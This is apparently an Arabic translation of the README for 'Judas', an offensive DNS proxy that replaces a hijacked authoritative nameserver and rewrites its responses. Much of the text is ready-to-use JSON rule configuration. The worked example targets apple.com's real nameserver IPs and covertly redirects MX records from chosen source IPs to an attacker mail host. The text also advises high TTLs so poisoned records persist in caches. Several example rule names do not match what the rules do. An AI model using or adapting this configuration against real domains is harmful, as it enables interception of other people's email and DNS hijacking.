
هجمات تسميم DNS لخوادم الأسماء بشكل مبسط
,,
`7MMF' `7MM `7MM"""Yb. `7MN. `7MF'.M"""bgd
MM MM MM `Yb. MMN. M ,MI "Y
MM `7MM `7MM ,M""bMM ,6"Yb. ,pP"Ybd MM `Mb M YMb M `MMb.
MM MM MM ,AP MM 8) MM 8I `" MM MM M `MN. M `YMMNq.
MM MM MM 8MI MM ,pm9MM `YMMMa. MM ,MP M `MM.M . `MM
(O) MM MM MM `Mb MM 8M MM L. I8 MM ,dP' M YMM Mb dM
Ymmm9 `Mbod"YML.`Wbmd"MML.`Moo9^Yo.M9mmmP' .JMMmmmdP' .JML. YM P"Ybmmd"
هجمات تسميم DNS لخادم الأسماء أصبحت سهلة
خادم وكيل DNS تم بناؤه ليتم نشره بدلاً من خادم أسماء تم السيطرة عليه لتنفيذ استغلال مستهدف. يعمل Judas عن طريق توجيه جميع استعلامات DNS إلى خوادم الأسماء الشرعية للنطاق. السحر الحقيقي يأتي مع تكوينات القواعد الخاصة بـ Judas والتي تسمح لك بتغيير استجابات DNS بناءً على عنوان IP المصدر أو نوع استعلام DNS. وهذا يسمح للمهاجم بتكوين خادم أسماء ضار للقيام بأشياء مثل إعادة توجيه البريد الإلكتروني الوارد بشكل انتقائي قادم من نطاقات IP محددة (عبر سجلات MX معدلة)، وتعيين TTL طويلة جدًا للحفاظ على السجلات المسمومة في الذاكرة المؤقتة، والمزيد.
لمزيد من المعلومات حول السيطرة على خوادم الأسماء واختطاف DNS، راجع منشور المدونة التالي بعنوان "احترم سلطتي – اختطاف خوادم الأسماء المعطلة لاختراق هدفك".
فيما يلي مثال على تكوين Judas لسيناريو افتراضي حيث قام مهاجم باختراق/السيطرة على أحد خوادم الأسماء الموثوقة لشركة Apple (لـ apple.com):
{
"version": "1.0.0",
"port": 2248,
"dns_query_timeout": 10000,
"target_nameservers": [ "17.254.0.59", "17.254.0.50", "17.112.144.50", "17.112.144.59", "17.171.63.30", "17.171.63.40", "17.151.0.151", "17.151.0.152" ],
"rules": [
{
"name": "إعادة توجيه جميع رسائل البريد الإلكتروني القادمة من 127.0.0.1 سراً!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
},
{
"name": "اجعل جميع الاستجابات NOERROR حتى لو فشلت.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
]
}
أغراض قيم التكوين أعلاه هي كما يلي:
version: تنسيق ملف التكوين (في الوقت الحالي دائمًا 1.0.0).port: المنفذ الذي يجب أن يعمل عليه Judas.dns_query_timeout: المدة بالمللي ثانية للانتظار قبل التخلي عن الرد من خادم الأسماء العلوي المستهدف.target_nameservers: خوادم الأسماء الشرعية لنطاقك المستهدف، سيتم إرسال جميع استعلامات DNS إليها من Judas نيابة عن جميع العملاء الطالبين.rules: قائمة بالقواعد مع التعديلات على استجابة DNS لتطبيقها إذا تمت المطابقة.
name: اسم القاعدة المحددة.query_type_matches: قائمة بأنواع الاستعلامات للمطابقة مثل CNAME، A، إلخ. يمكن أيضًا تحديد بطاقة بدل (*) لمطابقة أي نوع استعلام.ip_range_matches: قائمة بنطاقات IP للمطابقة. لتزييف الاستجابات بشكل انتقائي لنطاق معين من عناوين IP.modifications: راجع قسم "التعديلات" في هذا الملف.تأتي قواعد Judas مع مواصفات modifications والتي تُعيّن كقائمة من التعديلات المختلفة التي يجب إجراؤها على استجابة DNS قبل إرسالها مرة أخرى إلى العميل. من المهم أن تقرأ وثائق node-dns لفهم بنية استجابة DNS حتى تتمكن من تعديلها.
مثال على تنسيق استجابة DNS هو التالي:
{ header:
{ id: 25373,
qr: 1,
opcode: 0,
aa: 1,
tc: 0,
rd: 1,
ra: 0,
res1: 0,
res2: 0,
res3: 0,
rcode: 5 },
question: [ { name: 'apple.com', type: 2, class: 1 } ],
answer:
[ { name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver4.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver3.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver5.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'nserver6.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns2.apple.com' },
{ name: 'apple.com',
type: 2,
class: 1,
ttl: 86400,
data: 'adns1.apple.com' } ],
authority: [],
additional: [],
edns_options: [],
payload: undefined,
address: undefined,
...تم الاقتطاع للاختصار...
(لمزيد من المعلومات حول بنية بيانات استجابة DNS راجع هذه الوثائق.)
كتابة تعديل أمر بسيط للغاية، يمكن رؤية مثال لقاعدة مع تعديل أدناه:
{
"name": "اجعل جميع الاستجابات NOERROR حتى لو فشلت.",
"query_type_matches": [ "*" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
القاعدة أعلاه تطابق أي نوع استعلام (بسبب البطاقة البدل (*)) وتضبط قيمة header.rcode لاستجابة DNS على 0. يتم دمج أي كائن يتم تعيينه كعنصر تعديل في استجابة DNS - ليحل محل أي قيمة كانت مضبوطة أصلاً.
مثال آخر هو التالي:
{
"name": "إعادة توجيه جميع رسائل البريد الإلكتروني القادمة من 127.0.0.1 سراً!",
"query_type_matches": [ "MX" ],
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"answer": [
{
"name": "apple.com",
"type": 15,
"class": 1,
"ttl": 10,
"priority": 10,
"exchange": "hacktheplace.localhost"
}
]
}
]
}
القاعدة أعلاه تطابق أي استعلام MX من 127.0.0.1. يتم استبدال إجابة استجابة DNS بسجل MX واحد لـ hacktheplace.localhost. تطبيق عملي لهذا هو إعادة توجيه رسائل البريد الإلكتروني الواردة من IP معين لقراءة رسائل البريد الإلكتروني الخاصة بهدفك. بالإضافة إلى ذلك، قد يختار المهاجم في سيناريو واقعي تعديل TTL للاستجابة ليكون قيمة عالية جدًا من أجل استمرار سجلاته الخبيثة في ذاكرات DNS المؤقتة للعميل لأطول فترة ممكنة.
القاعدة التالية ستطابق عنوان IP للعميل:
{
"name": "اجعل جميع الاستجابات المطلوبة من المضيف المحلي (127.0.0.1) NOERROR.",
"ip_range_matches": [ "127.0.0.1/32" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
حقل ip_range_matches يُعيّن كمصفوفة من نطاقات IP التي تحدد النطاقات المستهدفة لتطبيق تعديل الاستجابة عليها. حذف هذا الحقل يعادل بطاقة بدل وسيطابق جميع عناوين IP للعملاء.
القاعدة التالية ستطابق نوع استعلام MX و CNAME وتطبق تعديل استجابة وفقًا لذلك:
{
"name": "اجعل جميع الاستجابات NOERROR حتى لو فشلت.",
"query_type_matches": [ "MX", "CNAME" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
حقل query_type_matches يُعيّن كمصفوفة من أنواع الاستعلامات للمطابقة. حذف هذا الحقل يعادل بطاقة بدل وسيطابق جميع أنواع الاستعلامات.
القاعدة التالية ستطابق رمز استجابة NXDOMAIN وتطبق تعديل استجابة وفقًا لذلك:
{
"name": "اجعل جميع الاستجابات المطلوبة من المضيف المحلي (127.0.0.1) NOERROR.",
"response_code_matches": [ "NXDOMAIN" ],
"modifications": [
{
"header": {
"rcode": 0
}
}
]
}
حقل response_code_matches يُعيّن كمصفوفة من رموز الاستجابة للمطابقة. حذف هذا الحقل يعادل بطاقة بدل وسيطابق جميع أنواع RCODE.